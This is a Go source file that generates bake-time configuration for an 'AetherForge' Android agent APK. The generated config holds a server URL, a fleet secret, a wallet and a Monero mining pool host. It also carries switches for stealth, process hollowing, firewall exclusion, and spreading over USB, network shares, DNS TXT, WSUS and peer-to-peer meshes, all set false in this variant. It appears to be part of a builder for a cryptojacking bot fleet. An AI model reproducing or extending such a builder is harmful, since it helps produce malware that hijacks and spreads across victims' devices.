// Package forge renders Android agent APK bake-time configuration. package forge import ( "bytes" "encoding/json" "fmt" "strings" "time" ) // BakeConfig holds values embedded at APK forge time. type BakeConfig struct { WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` FleetSecret string `json:"fleet_secret,omitempty"` Wallet string `json:"wallet,omitempty"` BuildID string `json:"build_id,omitempty"` ScoutMode bool `json:"scout_mode,omitempty"` } // AndroidAgentDefaults returns fleet-first defaults with mining off by default. func AndroidAgentDefaults() BakeConfig { return BakeConfig{ WorkerName: "android-fleet-node", ServerURL: "http://127.0.0.1:8989", Wallet: "android-node-no-pool", BuildID: "android-dev", } } // RenderConfigJSON produces assets/config.json content for the APK wrapper. func RenderConfigJSON(cfg BakeConfig) (string, error) { cfg = normalize(cfg) out := map[string]any{ "worker_name": cfg.WorkerName, "server_url": cfg.ServerURL, "mining": map[string]any{ "enabled": false, "mode": "idle", "note": "CPU mining disabled by default; enable via server policy or re-forge.", }, "fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "", "build_id": cfg.BuildID, } if cfg.FleetSecret != "" { out["fleet_secret"] = cfg.FleetSecret } var buf bytes.Buffer enc := json.NewEncoder(&buf) enc.SetEscapeHTML(false) enc.SetIndent("", " ") if err := enc.Encode(out); err != nil { return "", err } return strings.TrimSpace(buf.String()) + "\n", nil } // RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary. func RenderBuiltinGo(cfg BakeConfig) (string, error) { cfg = normalize(cfg) now := time.Now().UTC().Unix() return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT // Build ID: %s package config import "time" func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: %q, ServerURL: %q, Wallet: %q, Threads: 0, ThreadMode: "percent", ThreadPercent: 0, CPUPriority: "idle", MiningMode: "idle", MinerExecution: "inprocess", DisplayMode: "background", SilentMode: false, RunAs: "user", AutoStart: false, ProcessName: "aetherforge-agent", BuildID: %q, BuiltAt: time.Unix(%d, 0), PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolTLS: false, PoolPass: "x", MaxCPUUsage: 0, MaxMemoryPct: 50, MinFreeRAM: 256, IdleThresholdPct: 0, IdleDurationMinutes: 60, ScheduleStart: "00:00", ScheduleEnd: "00:01", InstallBase: "temp", InstallRelativePath: "aetherforge-agent", AdaptToHardware: true, SelfHealing: false, FileLogging: true, StealthMode: false, FirewallExclusion: false, AIEnabled: false, ProcessHollowing: false, MeshP2P: false, AutoSpread: false, HolePunch: false, RemoteAggressive: false, USBSpread: false, ShareSpread: false, GPUEnabled: false, FleetSecret: %q, LotlOnionEnabled: false, LotlPolicyFromServer: false, DnsTxtSpread: false, WebRTCMeshSpread: false, WSUSCachePeerSpread: false, ApkMode: true, ScoutMode: %v, MiningDisabled: true, } } `, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil } func normalize(cfg BakeConfig) BakeConfig { def := AndroidAgentDefaults() if strings.TrimSpace(cfg.WorkerName) == "" { cfg.WorkerName = def.WorkerName } if strings.TrimSpace(cfg.ServerURL) == "" { cfg.ServerURL = def.ServerURL } if strings.TrimSpace(cfg.Wallet) == "" { cfg.Wallet = def.Wallet } if strings.TrimSpace(cfg.BuildID) == "" { cfg.BuildID = def.BuildID } return cfg }